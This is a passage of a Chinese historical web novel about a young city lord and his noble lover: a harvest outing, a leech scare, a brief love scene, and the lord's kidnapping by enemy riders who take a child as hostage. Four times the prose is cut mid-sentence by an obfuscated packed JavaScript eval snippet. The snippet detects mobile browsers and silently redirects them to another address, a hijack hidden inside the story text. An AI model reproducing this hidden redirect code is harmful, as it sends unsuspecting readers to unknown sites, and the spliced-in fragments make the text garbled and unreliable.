多年养成的习惯,司子对公仪林发出的任何风吹草动都很警觉,更何况刚才的一声“惨叫”。他走出卧房辩听公子的声音,悄然摸索到有水井的小院,站在门旁望着那二人旁若无人的嬉闹,只能无奈地摇头叹息,“你就乐吧,有你受罪的一天,等族长知道你们这事,看不把你腿打折!” 下田收割那日,公仪林头戴斗笠,穿身朴素便于农忙的衣裳,袖子绑在臂弯,腰扎的紧实,浑身充满刈麦的新鲜劲。一帮收麦人都挤坐在牛车上,唯独张城很不合时宜地骑马跟在后面,背后还背着把宝剑。 出发前陶修让张城不要携带利器以免吓到田里的百姓,他执意不肯放下,说:“你在这里的行事风格向来按部就班,很容易就被人摸到规律,盯着你的人多呢,忘了彭枝礼?” 公仪林不悦他将陶修比作那只土鼠,从房中取出自己的宝剑丢给张城,“张巡检谨慎从事,挑不出缺点,把我这柄剑带上。” 谁料,这个随意的举动竟引来一场大祸。 牛车出了城门,晃晃悠悠走下三里地,在岔路口突然撞见一位熟人。 陶修先看见骑在马上准备让路的何姜,立即跳下马车上前招呼:“何兄这是要去哪里?”见何姜的马背上放着一个褡裢,看来是要远行。 “原来是陶城主。”何姜急忙下马,“我正要去拜访一个朋友,此路抄近,没想到还能碰见城主。城主这是要……” 陶修笑道:“正和一帮兄弟去割麦。” “身为一城之主还下到田中与民处成一片,实在难得。” “图个新鲜劲。”他斜了眼身旁跃跃欲试的公子。 二人寒暄几句后,陶修命赶车的阿八把牛车靠边一点,让何姜及几名随从的马先行。就在何姜上马准备走时,带着不经意的一瞥,一眼看见张城背在身后的剑。 他急急勒住马辔,手伸在褡裢摸索一阵,懊丧地大声说:“糟了!” 陶修走上前询问:“忘了什么东西?” “上次和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13360921|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老友见面时,他向我索要一幅山水画,欲按样给屏风作画,早上起来匆忙我竟给忘了。”何姜对身边一个随从低语几声,那人很快纵马离去。 何姜问陶修:“你的田在哪里,我跟你一起去歇息,等小仆取画回来。” “不远,就在前面。” 浩浩荡荡十五六个人一齐向那块瑟瑟发抖等着收割的田地走去,任是再多的麦子也经不住十来个猛汉一起动手,公仪林跟着陶修坐在田埂上“陪客”,心思不定地想让他们留点麦子给他玩玩。 闲聊中何姜很自然将话题带上特立独行的张城身上:“田里都是农忙的百姓,这位小兄弟何故还带着剑,身手如何?” 陶修笑问:“看何兄也是拔山扛鼎的身量,想必也练过。” 何姜抚须哈哈笑道:“我这是仗着天生好大骨架,得一副力敌万夫的身子,其实都是假的。” “何必谦虚,”陶修拍拍两手的尘土站起来邀道:“曦光正好,闲着无事,何大哥露两手吧?” 何姜很爽快跟着起身,“我擅用剑,不知能不能借那位兄弟的剑一用?” 张城当即解下剑丢给他。 何姜拔剑出鞘,只一眼,脸色陡然阴沉,把锋芒逼人的剑举在眼前从下到上打量,烈焰灼烧的仇恨从心底而起。他不动声色,紧握沉甸甸的宝剑舞了几招,剑气磅礴,势如猛虎,招招凌厉肃杀,与用剑人所表露出的模样迥然不同。 即便他有意隐藏实力,陶修还是看出何姜的本领绝不是他口中所说的只是喜好而已。 何姜把剑猛地插入土中,赞不绝口:“是把好剑?张兄弟,这把剑是从何而得?” “我只是代人保管。”他朝着公仪林努嘴,“是这位公子的。” 公仪林很欣赏何姜刚猛狠戾的剑招,并不知他是漳河对岸的寿阳人,误打误撞说了句:“是我的剑。你刚才展露的绝不是真实本领,已令我刮目相看,宝剑在你手中竟有点像物归原主。”说完哈哈一笑,顺便自嘲:“看来我还得勤练武艺。” “这么说,此剑的原主人并不是你?” “原是枞阳熊威营贺功臣的宝剑,陶城主战败贺功臣时从他手中夺得,算得上是件无比荣耀的战利品。”似在夸耀自己的战功,脸上藏不住的洋洋得意。 陶修咳嗽一声,委婉提醒道:“槐序,何大哥是寿阳做玉石生意的人,你跟他提这些做什么?”再转头看向何姜,正碰上他射过来的似冰锥的眼神,冷峻、平静的可怕,这眼神只一瞬就消失,陶修有种看错的错觉。 “我太小看城主了,以为你只是个刚到任就忙着向朝廷展露才干的年轻人,原来来此之前就挫败熊威水营的贺功臣,烧了他三百多条大船,听说那次,他们只有二十一人,城主就是其中之一?” 不等陶修说话,何姜又解释道:“城主无须担心我周人的身份,我是个生意人,对你们劫民掠土的事不感兴趣,与友人闲聊中听到的会比你们经历的更精彩。” 话毕,他拔出地上的剑插入剑鞘,递给公仪林:“此剑削铁如泥,确实贵重。它在你手中就是你的剑了,既然是战利品还谈什么物归原主,贺功臣也不配有此宝剑。” 他脸上还挂着坦荡的笑,声音和动作很随和,陶修总觉得他面皮下还有一张不同的脸。 111.公子那副蠢样 这帮兴致冲冲的汉子割麦速度犹如风卷残云,这边人多,不少忙清的百姓也凑过来跟城主拉近乎,挥舞镰刀问要不要帮忙,公仪林看得着急,大声喊道:“留点给我,留一点。” 日头刚上了三竿高度,热力大增,坐在田埂上闲聊的人汗流浃背,快要到晌午时,何姜叫回去取画的人才赶回来。 何姜等人走后,公仪林望着远去的七八匹马问陶修:“他们真是生意人?” “或许他没说假话呢。” “跟在他后面的仆从个个魁梧挺拔,你觉得他们是做什么的?” “何姜为人豪爽,在他身上总能感受到一种逼人的气势。算上这次,我与之仅见过三回,对他的了解都是他的一面之词,方才很担心你说了不该说的。” “你们仅隔着一条河少不得会来往,与其互相猜忌,不如直接去摸他的底,他能来,我们就去不得?” 田里的麦子早已割完,周石把小麦扎成捆搬上牛车的事统统交于公仪林,这个都城来的贵族公子哥在烈日下挥汗如雨,麦芒刺的他浑身又痒又痛,划破的皮肤被汗水腌上一下,像在忍受扒皮的极刑。 陶城主每件事都做到一丝不苟,当他把田里大半的麦子捆好码整齐时,回头看那位公子哥还磨磨蹭蹭在十几捆作品前伤春悲秋般的擦着奇痒难耐的脖子。 城主带头收割的行为在百姓中引起很大影响,连常年睡在墙根下嚼草晒太阳的懒汉都到田里一起劳作,享受和城主同甘共苦的乐趣。 引水灌溉农田,扎起裤脚踩在水里最欢的也是公仪林,手拎稻秧给每一个插秧人分发,不停地客气:“用完了就喊我。” 那一刻,没有人还记得他是身居高位的京城右卫。 司子皱眉叹气,公子真像个乡下的欢快小伙啊,乐此不疲,不知陶修怎么想的,连公子的体面都不给,就任他像个猴在田里窜来窜去。司子苦劝无果,能做的就是比往常更勤劳些以减少公子的劳累。 插秧,陶修同样一丝不苟,只有在回头看那个新鲜劲一直未褪的小子时才直起腰板。公仪林来此七八日,在田里就待了五日,正考虑明日不再让他下田时,公仪林一步一步踩拔着淤泥走过来,撸起一条裤脚露出左腿,问陶修:“康乐,这是什么东西?” 那是一条墨绿色的肥大的蚂蟥,趴在他糊满泥浆的腿上,正安静、柔软、惬意地吸取他体内的鲜血,肚子吸得饱饱胀胀。 陶修抬头望着斗笠下这张因烈日炙烤满面通红、鬓角的汗水流到下巴的公子,忽然想起小时候公仪家的大仆暗地里叫他“傻二公子”,果然很贴合此人现在的模样。 他忍住笑,又觉得这人实在单纯的可爱,“你怕蛇吗?” “吃过蛇肉。” “不怕血吧?” “受过几次伤,你说呢?”他还得意上了。 “那就好,”陶修什么都没说,领着他走上田埂,命他坐在草上。一边试图拽下那个肥物一边解释道:“这是水蚂蟥,夏季的芦丛中最多,只吸血,吸到忘乎所以会往肉里钻,一旦钻进肉里就会浑身游走,直到有一天可能从你嘴里爬出来,你怕不怕?” 他把伸缩性极强的肥物拽有三寸长,但它的嘴还深陷在肉里,如此反复拽了四五次。 公仪林早已在陶修平静地恐吓中目光发直,双腿发颤,突然仰躺在草丛里用右臂遮住双目,哆哆嗦嗦下了无比大的决心,“到底能不能取下来?实在不行,这条腿就不要了。” 陶修还蹲在他身边不紧不慢地把玩喝足鲜血后皮肤几乎呈透明的蚂蟥,一句一句地吓唬着:“怎么办,真的拽不出来!” “回去用火烤吧?”“它钻的速度很慢,夜里可能会钻到腹部。” …… “你别说了,去喊医工吧,难道自古就没有能取下它的法子?”若是哭不丢人,公仪林早就想不顾形象哭一场。 见公子晕倒在田埂上,察觉不对劲的司子迅速从泥地里飞跑过来,刚问清是蚂蟥惹的祸,他以迅雷之势高举手臂对准公仪林的腿狠狠拍下,一声脆响,鲜血溅开,那蚂蟥收缩一阵疯狂往肉里钻,司子又扇下几掌,被打烂的蚂蟥缩成一团缓缓从肉里掉出来。 公仪林汗流浃背,愣愣地干笑两声,“世上还有这种邪物。” 是晚,洗净一身污泥和疲倦的公仪林躺在竹席上,深深喘口气,把这几日农忙的疲惫都从口中吐出,问坐在书案前练字的陶修:“还有几天能忙清?” 书案就放在竹席旁边,陶修略侧过头问他:“这就累了?你曾说要送我一大片田,你指望我一个人种?” 公仪林坑着头傻笑,满心幸福,像成家之后细水长流的谈话。 “快了,再三两天,余下时间就是查看田里排水和浇灌,都是很清闲的事。” 公仪林躺的位置能触手可及陶修的肩背,但在他练字时忍着不打搅,只能以手撑额静静欣赏他笔直的坐姿和专注的神情,偶尔问几句闲话。 “难道你都不累?还有心思练这个,丢几日功夫又如何,先生敢打你?” “先生会检查我的功课,当初是我让他对我严厉点,如果次次都是我做不到他的要求,岂不是笑话了。” 初夏凉爽的夜风从两扇大开的窗子吹来,书案上一沓裁好的白纸发出轻轻的窸窣声,陶修盯着纸上练字时留下的墨迹,笑对身后拨弄他发丝的公子说:“你来之前,我一连几夜都在补写给你的信,生怕你不领情还一手准备两样,幸亏没派不上用场。” 公仪林骨碌一下坐起,扫视房中放书的每个位置,“派的上派的上,收在哪里,快拿于我看看。” “实在想看,等你回去时留着细看吧。” 公仪林最怕离别的话题,那股说不清的伤感深入骨髓,哪怕与陶修离别一百次他也无法习惯,即便那些信有“弄虚作假”的嫌疑,好歹是这人趴在书案前一板一眼编造出来的,那就留着回去时慢慢看,“还有一样是什么?” “另一样还没完成,我去拿来给你看看。” 陶修在放满书的架子上取下一只木盒,木盒散发新鲜木料的味道,如此看来连盒子都是临时打好的,真贼,真可恶。 陶修拿出盒子里手掌高的一尊木雕,全身上下都已雕完,唯有五官还留着空白。 公仪林接过木雕反复翻看,露出一点失望的神情:“这是我?怎么不是一对?” “别太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369570|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明目张胆了啊!” “五官为何不刻上?” “我想看见你时再雕上去,一年多没见,怕变了模样。”他抬起公仪林的下巴仔细瞧着,这双眼大而有神,漆黑的眸子正映进一盏油灯,剑眉如墨,气势十足,但联想此人有三位师父和被无数同僚打败的污迹,还有今日连条蚂蟥都把他吓到要断腿的蠢样,忍不住嘲笑道:“还是这双不中用也最没气势的‘剑眉星眸’。” 公仪林一听,当即转头吹灭书案上的油灯,张牙舞爪把陶修扑倒在地。屋内一片漆黑,公仪林气息渐重,声音清晰可闻,急不可耐地解开陶修唯一蔽体的白色里衣,不怀好意地笑道:“我本来想今晚放过你,是你自讨苦吃。” 二人互搏暗斗,撞翻书案,雪白的纸张铺洒一地,从嬉笑玩闹的打斗到郑重其事的灵肉结合,从抚摸怜爱到纵情驰骋,从求饶喘息到甘愿雌伏,意气轩昂的少年人再次沉沦在清辉满天的长夜里。 * * * 骏马疾驰,怒火暗生,贺功臣用马鞭一下又一下击打马尻,不断回头看向在视野里渐渐缩小的漳南城,插在城楼上的旌旗在视野内彻底不见。两三年前熊威营的大火差点烧掉他的前程。疏于防范、久疏战阵、有勇无谋的种种罪名强加头上,遭受朝堂异党的弹劾后回到邺城,两年的闲散时间,他急需立功以自证。 周国欲征服江南的意图已毫不掩饰,大能者争相献上平江南之策,在如此敞亮的密谋下,周已开始向全国的四面八方派遣有才干的将才。贺功臣卸去枞阳郡守一职,悠然自得游遍天下大山好水,但这闲散日子仅两年就结束,几乎与漳南城主同时上任,他一年前出镇淮南郡,任淮南太守,治所就在漳河北岸的寿阳县。 月余前无意间结识即将成为水火不容的对头——漳南城主,实在惊讶于那人的年轻有为、从容与镇定,据斥候打探到的消息,漳南的年轻城主仅用一年时间就已在城中打造一支近三千人的精兵队伍,不断锻造兵器筹备粮草,他的未雨绸缪,蓄势待发,一个少年人做到如此份上,确实令贺功臣十分骇然。 温热的夏风把胡须和头发吹的满脸奇痒,贺功臣突然勒马停下,狠狠抹了一把脸,对身后的人大吼一声:“回城!”必须立即“请”这位城主到他面前好好聊聊几年前的旧仇。 一直暗中监视淮南郡寿阳动向的陶修,也从斥候处得到准确无误的消息,淮南郡新到任的太守姓贺名功臣,是个文武双全勇猛果敢不到五十岁的中年人。 陶修站在城楼极目眺望灰蒙蒙天际下渺小的寿阳城,想起十八岁时险些死在贺功臣手中的经历,那只掐进血肉里翻搅的五指给他的阴影至今记忆犹新,还真是冤家路窄,两城隔水相望,现在又成了对头。 但他没料到,自己会再次落入贺功臣的手里。 一路跟随贺功臣到寿阳的孙显对抓捕兼刺杀漳南城主一事带着一雪前耻的狠劲。那夜,一个小小斥候在千军之前斩掉他的兜鍪,让他颜面扫地,此恨竟然有得报的一天。 陶修本来能躲开这场祸事,但出事那日天气有点阴沉,凉风舒爽,陶舒在城里闷久了,就和江旋跟着众人一起到田间散心,他们还带上能威胁陶修性命的江锦意。 112.最痛苦的目送 田里只剩下排水灌溉、加固沿埂的小事,公仪林让司子和阿八做最后的收尾工作,其余人都在杨树下坐着闲聊。已会走路的江锦意在他们围成的圈中来回挪步,伸出小手歪歪扭扭朝她喜欢的人怀里扑。 约巳正时分,从三五人宽的东边小路忽然出现一队人马,估有十来人,皆穿黑色衣裳,打马扬尘疾驰而来,地动山摇的轰隆声在几人好奇地注视下越发逼近。 起初,公仪林以为渐近的人马是京城急召他回去的使者,仔细辨认过后,气势汹汹的马蹄让他预感不妙。 最先反应的是张城,倏地从地上一跃而起,掣出背后宝剑拦在路中央静侯铁骑过来。 陶修左右手拽起陶舒、江旋,大喊一声:“快躲上马车。”两个姑娘也发现事态紧急,惊魂不定下抱起孩子就往马车方向跑。 他们当中,唯一有兵器的只有张城。 黑衣人拔出明晃晃的刀杀过来时,巨大的冲击和铁蹄的踩踏瞬间就把张城掀翻在地,他胸口受到猛烈撞击,天旋地转的眩晕后勉强撑坐起来,见陶修、公仪林、周石已被敌人围在中间。 十几匹马逐渐缩小围拢的范围,刀刃皆指向陶修。这一张张面无表情的面孔都很陌生,陶修一个都不认识。 “你们是什么人,意欲何为?”公仪林怒斥道。 敌人不作回答。 这时,张城从后腾空而起,当即把一人从马上刺下,夺其大刀握在手里,并把公仪林的宝剑掷于被困的陶修脚下。 陶修眼疾手快,接剑后不等敌人反应就把一匹马的前蹄切菜似的砍下。马的嘶鸣哀嚎打乱围拢起来的圈。 刚才慌乱中拿把铁叉护身的周石也对准马腹捅下,人仰马翻的场面混乱又血腥。 从马背上坠落的人被陶修一剑毙命,也抢了刀丢给公仪林,沉声道:“护好自己别拖腿。” 几人被十来匹马一阵冲撞后都受了伤,陶修和公仪林背靠一起,没等打起来就已湿了衣衫。 公仪林抹去额头的汗:“他们是冲你来的?你认识?” “不认识。我只担心小舒和锦意。”陶修瞥一眼远处还没跑起来的马车,“她们都不会驾车。” 陶修剑指黑衣人,厉声问:“你们究竟有什么意图,若是冲我来的,我跟你们走。” “康乐?”公仪林大惊。 黑衣人道:“只要你跟我们走,其他人都能活命。” “你们是周人?”陶修试着周旋。 “不要废话。” 周石大声道:“城主,他们现在还剩十四人,以我们的能力,谁死还说不定啊。” 黑衣人冷笑一声:“我知道你们都是沧澜队出来的,我们就是吃素的?”此人把手一挥,立即出列三人,朝不远处的马车奔去。 陶修方寸尽乱,怒不可遏,冲上前随意拉住一匹马缰欲夺马。马上的人果然也是战斗过的老手,他向后倾倒躲过陶修劈过来的一剑迅速起身,从马背上横扫一腿,恰好踢中陶修的头部。 陶修踉跄退了两步稳住,见对方正下马,占据的位置高必然有优势,此人一旦踩上地面就不再是他的对手。陶修身手的敏捷绝非一般人能及,那人横刀在前格挡时,陶修的宝剑已刺穿其咽喉。 身后的公仪林、张城等人已与敌人厮杀在一起。陶修翻上夺来的马直奔江锦意赶去,却见马车那边也有打斗,心下一沉,脊背发寒,若这伙人拿孩子做要挟,他是任何一件事都能答应的。 黑衣人见目标逃了,有四骑立即上前追赶。公仪林见状也持刀上马紧追不舍。 马车那边,江旋把陶舒和侄女推上马车后,转身解开系在树上的缰绳。绳子系的很紧解不开,她钻上马车摸到偶尔才会用上一回的剑,斩断绳子后试图驾车奔逃,如此一耽误,浪费许多逃跑的时间。陶舒在车内哭泣害怕,扒着车帘望向方才还有欢声笑语的位置,“哥哥他危险啊,我们就这样丢下他们吗?” 江旋冷静沉着:“留下才是拖累。” 任是江旋再从容镇定,惊慌下的鞭子抽的太急,导致吃痛的两马突然各奔西东窜出去,车子在颠簸碰撞中歪倒在一棵树上卡住轱辘。她跳下来走到车后查看情况,眼看黑衣人追过来,对卡住的轱辘却无能为力,当即拔剑守在车后,手心生汗但目光迥然,“嫂子别怕,我一定能保护好你和锦意。” 当初江旋练剑纯属兴趣和玩乐,从未想过上生死场杀一回。花拳绣腿的剑招在敌人彪悍的体魄下只支撑片刻,两次被打翻在地,腹部疼的翻江倒海,她那副坚韧的性格支撑她爬起又爬起,直到胸口挨上一脚,鲜血从口中流出。 陶舒紧搂锦意,盯着她的眼睛希望奇迹出现,叮嘱道:“锦意,别出声,阿娘把你藏在车里,舅舅一定会来带你。阿娘去帮姑姑了。” 车里有把收割麦子用的刀,陶舒用一块布遮住听话的江锦意,拿刀也跳出去。此时江旋必须借助树才能站立,眼前模糊一片,甚至不知身在何处。 就在黑衣人掐住江旋的脖子做人质时,陶舒握着刀突然从背后袭击了他,锋利的刀尖像切肉一样插进那人肩膀。 黑衣人慢慢转过头,她对上那双狠戾的眼睛,惊恐地松开刀柄,声音颤抖哆嗦,质问道:“不要杀她,我们只是寻常百姓,从没与人结仇,你们到底要干什么啊?” 黑衣人铁打的身躯丝毫没受这一刀影响,冷漠地拎起江旋丢上马背后,又从容地拔掉肩头的刀,一把掐住陶舒的颈困在手中。 此时,陶修和田里的阿八、司子同时朝这里赶。 陶舒不敢大喊乱了陶修的分寸,默默祈祷车里的锦意别发声、兄长能除掉这些人。 陶修阴沉的脸再无往日的温和,下马、抽刀,向其中一个黑衣人飞出手中宝剑,利剑直插其心窝,又对挟持陶舒的人说:“我可以给你活命,放了她。” “人质在我手中,还敢说大话。” 陶舒对兄长道:“他们要抓的人是我,不要管我,你带着锦意走吧,她还在车里。” 陶舒和江旋皆被挟持,敌人紧追在后的四骑也将要赶到,陶修无计可施,退后三步放弃求生,对两人道:“我跟你们走,放了她们。” 黑衣人从怀里掏出绳子丢给他:“自缚双手。” 公仪林与追赶陶修的四骑杀的惊心动魄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387829|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因担忧陶修的安危,他异常勇猛,无比镇定,又兼擅骑射,因而在马上能从容应战,只恨手中没有长枪,几次躲过黑衣人的刀劈斧砍,并将一人刺翻坠地。当他赶到马车边时,陶修已自绑双足等着就擒。 公仪林大惊失色,拽紧马辔直接往陶舒的方向撞去,迅速将她从黑衣人手里解救下,又调转马首力战另外三骑时,忽听见陶修怒吼一声:“槐序,住手。” 所有人都愣在当场,包括刚从田里赶过来的司子和阿八。 公仪林顺着陶修惊恐的双目看去,身穿粉色小衣裳、稀疏的头发扎了两个小揪揪的江锦意被黑衣人拎在手中,无知无惧地搓玩两只小手。 陶舒瞳孔遽缩,抓着胸口的衣裳一动不动,江旋从马背挣扎掉下往江锦意爬去,被敌人一脚踩在腰上定住。四周忽然寂静,能听见梢头躁动的鸟鸣和锦意天真烂漫的童音。 “看来这小东西是个宝贝。”黑衣人戳戳孩子的脸,威胁道:“我们只请陶城主,不想涉及无辜的人命。” 公仪林滚鞍下马,向前走了两步又站住,目不转睛盯着陶修,他不敢想陶修会做出什么决定。 陶修解开脚上的绳索,挺直腰背,直视黑衣人,冷声道:“我再说最后一次,我跟你们走。”伸出双手缓步走近敌人让他们将其绑紧。 陶舒跪伏在地,大声哭道:“哥哥,锦意她,锦意……”她咬紧嘴唇,始终无法喊出那句“锦意就不要管她了”。 “别哭,锦意会平安回到你身边。” 怒发冲冠的公仪林刚一出剑就被陶修喝止:“槐序,我不想锦意出事。” 陶修翻上马,用被绑的手抓起缰绳,回头看了眼公仪林,吩咐道:“看来我在漳南的高调作为使他们忌惮了,若查出他们是周人,一定不要大费周章救我,引起不必要的争端。我几番死里逃生,你就当我死了。” 死这个字眼像把刀,剜的公仪林痛心疾首,却又出奇的平静,抓住陶修的手臂下狠劲握住,一字一句承诺道:“只要我还没死,就要把你带回来。”仰头收住眼里的泪笑道:“你要死了,你的坟头,我至死也不会去。” 公仪林拽下腰间证明其身份的令牌对围拢过来的几个黑衣人怒道:“我指天为誓,你们敢伤害陶城主的性命,我公仪林,大陈右卫,必定倾尽全城之兵找到你们、杀掉你们。” 他退到一边,就像站在街道两侧迎接得胜归来的铁骑那般,忍受痛苦和屈辱“恭送”黑衣人的马一匹一匹从眼前走过,带走了一岁大的孩子和漳南的城主。 “一炷香后五里外的林中来找这孩子。”是这帮来历不明的人留下的最后一句话。 陶舒肝肠寸断,绝望地望着挚爱的亲人消失在远方,终于瘫软在地,怎么扶都站不起来。 一声哨向,与张城和周石战的正酣的五六人飞速收刀,跳上马如潮水一样退了回去,留下几具尸体和在血泊中挣扎的马。 张城以为自己人赶走了黑衣人,拽过一匹马赶到公仪林处,才知道陶修和江锦意被人掳走。他咬牙切齿打马就要去追,公仪林一把拽住他:“你去追,要是他们杀了锦意,难道陶修还能活?” 113.这卑劣的手段 “他们是什么人?现在怎么办?你就眼睁睁看着他被带走?”张城一拳砸上马车,难以置信地望着公仪林,还以为这二人关系亲密的能让这公子奋不顾身。 公仪林僵在最后一句质问里,似挨了道雷击,怎么能如此平静地看着最爱的人从眼前消失,明知他前面就是陷阱,为了个牙都没长齐的小孩居然同意让他身涉险境。 陶舒失神地自语道:“我以为是掳掠人丁的盗贼,没想到是冲着哥哥来的。” 冷静下来的张城才发现江旋也一身污血坐在地上,他双臂攒劲,硬是把卡在树上的马车掰正,把江旋抱上车后对着她的额头啄了一下,安慰道:“别怕,都过去了。” 这安抚的一吻使江旋从混沌中惊醒,心口沉闷的痛感惊的快要散了。 陶舒上马车前对公仪林央求道:“我阿兄的命拜托公仪公子了。” 她哪里知道,她所拜托之人的绝望不比她少一丁点。 两个女子被送走后,公仪林立即在六个伤亡的黑衣人里翻看是否有活口,第一次发现沧澜队的人下手真狠,气的一把将宝剑插入地里,“都死了,一个活的都没有。”随后吩咐张城和周石跟着他赶到郊外的树林寻找江锦意。 一炷香时间,他们在树林一棵粗矮的榆树上找到吊在网里哭泣的婴孩。通向林外有两条小路,散乱的马蹄印在两条路口都有出现,公仪林命张城、周石沿向北的小路寻迹追查,他和阿八则往南疾驰。 连日来不曾下过雨,不管大路还是小路,中间常走的位置干燥的近乎光滑,没留下任何追踪的痕迹。公仪林在路旁松软的草丛里发现过几次蹄印,追下七八里远之后再无发现。 他废然而返,又从事发地出发,从黑衣人来的方向一路逆向问田间劳作的百姓,是否遇到过一支十来人的骑队,没有得到任何有用回答后,只能把希望压在张城身上。 推测黑衣人的身手,无疑都是精挑细选出来的,又知陶修出身沧澜队,他们在掳掠之前就细查过县尹身边人的底细,除了漳河对岸的周国,公仪林想不到有谁敢对县尹下手。陶修说得对,对比此前的彭枝礼等人,他调练的三千雄壮兵马早就给对岸的敌国莫大的威胁。 至午后时分,张城大汗淋漓赶回,见到公仪林就振奋地回禀道:“我们追踪二十多里,足迹最后出现的地方是周地界的一片树林,再没有任何蛛丝马迹了,现在怎么办?” 公仪林令人处理血腥的现场后立即回城,让周石把城中出色的斥候全部召集于他面前,要他们潜入周地不惜一切代价打听到陶城主下落。这帮平日受过城主优待和尊重的斥候,无不肝脑涂地,皆在右卫将军跟前立誓不找到城主决不罢休。 一连两日都没有任何进展,陶修失踪的消息半真不假在城中传开,有人传言城主是第二个彭枝礼,但不解为何这么好的人也会有人行刺,还有人传言,是建康来的人暗中杀了城主又假言城主失踪。 公仪林无时无刻不在自责,一言不发坐在县署的大堂等候消息,阿八劝诫他不要冲动,若真是周人干的事,抓住他无疑是“抓一赠一”的生意,城主和右卫二人的身份不再是区区几车粮草就能换回来的。 第三日清晨,一个斥候紧急回报,在寿阳一所驿馆里看见了被绑的城主。 公仪林浑浑噩噩等待的三日终于迎来光亮,振奋精神,目光如炬,抓起手边的宝剑就去校场点兵。漳南不到四千兵力,他还没疯狂到用此兵力撞击寿阳这块军事重镇,准备先以身涉险,和贺功臣来一场面对面的和谈。 集结好的一千将士还未出校场,突然有人向他禀报,永定寺的有量法师来见。 公仪林慌忙迎出去,见辛南佐身着和尚服立于栅栏外,魁梧的身躯好似山岳。 “师父,你都知道了?” “我徒弟失踪,满城传的沸沸扬扬,怎么可能不知道。是不是确定陶修就在贺功臣手中?” “如此堂而皇之的劫杀城主,不是贺功臣的主意还会是谁?” “如果是他,我一人就能救出陶修。”辛南佐望一眼喧闹的校场上正待出发的将士,“不要因为他一人的性命大动干戈。” 公仪林急问:“师父有何办法?难道你与贺功臣认识?我也正要独身会会他,没打算这让些将士过界,振势气耳。” “你与我一起,见了贺功臣再说。” 两人出发时,带上了坚持跟随的张城和阿八,都是护主心切的不怕死的汉子。 那帮黑衣人在树林把江锦意丢下后,陶修的双目就被蒙上。他被迫在黑暗中行进,拐过一个又一个岔路口,马蹄传来不同的声音,最终在铺满石头有热闹人声的一栋房子前停下。他一边用耳朵辨别陌生的地方,一边听他们义愤填膺地大骂这次行动损失的六名兄弟。 “居然还有一个带剑的,上来就斩了马腿,你们当时就乱了。” “几个人都是精炼过的。”说话这人推了陶修一把,质问道:“他们都是什么人?” “江矶营沧澜队出身。”陶修道。 “盯了两天,居然选了沧澜队人都在一起的时候动手,失策,白白死了六人。连个娘们都朝我肩上砍了一刀。” 陶修被推进一间比蒙住双目更黑暗的房子里。捆紧双腕的绳子被解开,他拽掉眼上黑布打量身处的位置,此处是间终年不见光照的地牢,墙壁上浓重的霉斑和血迹显得阴森可怖,地面潮湿脏乱,墙角有张一人宽的木板够人躺下,其上也涂满年久日深的污血。看来是个受刑后拖来喘息的地方,能有地牢的地方,除了县署还能是哪,他很确定绑自己到此的一定是周国人。 被关进地牢后陶修就没看到任何人,时间漫长难熬,他盯着墙顶上碗口大的窗户透进来的弱光,担心江锦意没被救,担心公仪林冲动的兴师讨伐,也思索周人把他抓来的原因。 地牢早就废弃不用,里面闷热且安静,听不到一丝人声。整整两日,陶修在污浊的气味和炽热的高温里严重缺水,呼出的气息干燥滚烫,戒备和警惕也在一片寂静中渐渐卸下。 他靠在牢栏又熬到第三日,依旧没见到任何人,怀疑这帮人打算把他活活饿死在这里,或是忘记把他关这了!浑身又热又燥,他急需一口水,尽量不去想在江里训练那两年,粼粼银波的水面容易让人产生幻觉。时间像岩缝里一滴一滴漏下的水珠,长且慢,熬得他难受,直到听见地牢尽头传来开锁声,“咔嚓”一声脆响,他从恍惚中惊醒,立即扶栏站起来聆听。 牢房外站了七个身材魁梧的人。孙显两手负于身后,冷若冰霜地盯着里面的年轻人,这才把两年前熊熊大火下快要忘掉的面孔重新记起,他用指头触摸右侧颧骨处蚯蚓似的的疤痕,冷笑一声:“陶修,还记得我吗?” 那夜的大火下,任谁都不会刻意去记住一个人的面孔,何况是张平庸没有特色的脸,陶修小心谨慎地问:“我不认识你,你是什么人?” “没想到,那夜的小卒竟成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404169|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 